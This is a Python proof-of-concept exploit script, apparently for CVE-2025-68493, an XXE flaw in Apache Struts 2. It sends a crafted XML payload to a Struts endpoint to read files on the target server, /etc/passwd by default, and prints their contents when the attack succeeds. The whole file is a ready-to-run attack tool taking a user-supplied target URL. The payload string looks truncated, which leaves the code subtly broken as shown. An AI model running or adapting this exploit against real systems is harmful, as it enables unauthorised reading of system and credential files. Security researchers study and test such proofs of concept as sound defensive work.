import requests import argparse import sys def check_vulnerability(url, file_to_read="/etc/passwd"): """ CVE-2025-68493: Apache Struts 2 XXE PoC """ target_endpoint = url.rstrip('/') + "/struts2-xml-parser/xmlParserNoDtdParse" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "Connection": "close" } # 构造 XXE Payload payload = f']> &xxe;' print(f"[*] Testing URL: {target_endpoint}") print(f"[*] Payload: {payload}") try: response = requests.post(target_endpoint, data=payload, headers=headers, timeout=10, verify=False) if response.status_code == 200: if "root:x:0:0" in response.text or "[boot loader]" in response.text: print(f"[+] Vulnerable! Successfully read {file_to_read}") print("-" * 40) print(response.text) print("-" * 40) else: print("[-] Target might not be vulnerable or file not found.") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Snippet: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {str(e)}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-68493 Apache Struts 2 XXE PoC") parser.add_argument("-u", "--url", required=True, help="Target Base URL (e.g., http://127.0.0.1:8080)") parser.add_argument("-f", "--file", default="/etc/passwd", help="File to read (default: /etc/passwd)") args = parser.parse_args() # 简单的 URL 校验 if not args.url.startswith("http"): print("[!] Invalid URL. Please include http:// or https://") sys.exit(1) check_vulnerability(args.url, args.file)